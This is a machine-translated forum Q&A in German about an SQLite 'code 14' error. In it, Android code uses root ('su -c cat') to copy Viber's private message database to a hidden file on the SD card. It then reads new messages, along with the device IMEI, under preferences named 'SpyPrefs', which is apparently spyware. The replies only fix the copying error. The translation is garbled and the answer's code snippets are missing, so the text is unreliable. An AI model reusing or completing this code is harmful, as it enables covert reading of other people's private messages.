SQLite : Exception:unknown error (code 14): could not open database
Ich verwurzelt das Telefon und kopieren der Datenbank der anderen Anwendung in der SD-Karte.
In der im folgenden code einfach kopieren, die db-Datei und nach, dass das abrufen der Daten aus der Tabelle. Dieser code Ausnahme Exception:unknown error (code 14): Could not open database
Jungs helfen Sie mir, wenn Sie eine Idee haben, dieses.
String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});
new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.
Helper.java
public void readvb(String filep,Context con, StringBuilder data)
{
File dbfile = new File(filep);
SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
Editor editor = preferences.edit();
if(dbfile.exists())
{
myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
long lastmessage = preferences.getLong("LastViberRead", 0);
long msgtime=0;
StringBuilder xml = new StringBuilder();
LogsTable logtable= new LogsTable(con);
Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);
int count=0;
String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
if(cursor != null)
{
}
}
}
- Hast du <uses-permission android:name="android.die Genehmigung.WRITE_EXTERNAL_STORAGE" /> ?
- Ja ich habe bereits dieses im Manifest.
- Ich habe meine eigene Reaktion, versuchen Sie es, viel Glück!
Du musst angemeldet sein, um einen Kommentar abzugeben.
Ich mein Problem gelöst, durch aufrufen der
waitFor()
auf den Prozess, dawaitFor()
laufen in verschiedenen Verfahren. Diese Methode bewirkt, dass der aufrufende thread warten, bis der native Prozess im Zusammenhang mit diesem Objekt zu beenden ausführen.Versuchen:
Haben auch einen Blick hier:
http://techin-android.blogspot.it/2011/08/how-to-create-sqlite-databse-in-sdcard.html
UPDATE:
Kopieren Sie stattdessen die Datei von
können Sie dieses snippet:
...weil ich bin mir nicht sicher über den "cat" Befehl: setzt Sie die richtigen Berechtigungen, um die kopierte Datei?
Exception:unknown error (code 14): Could not open database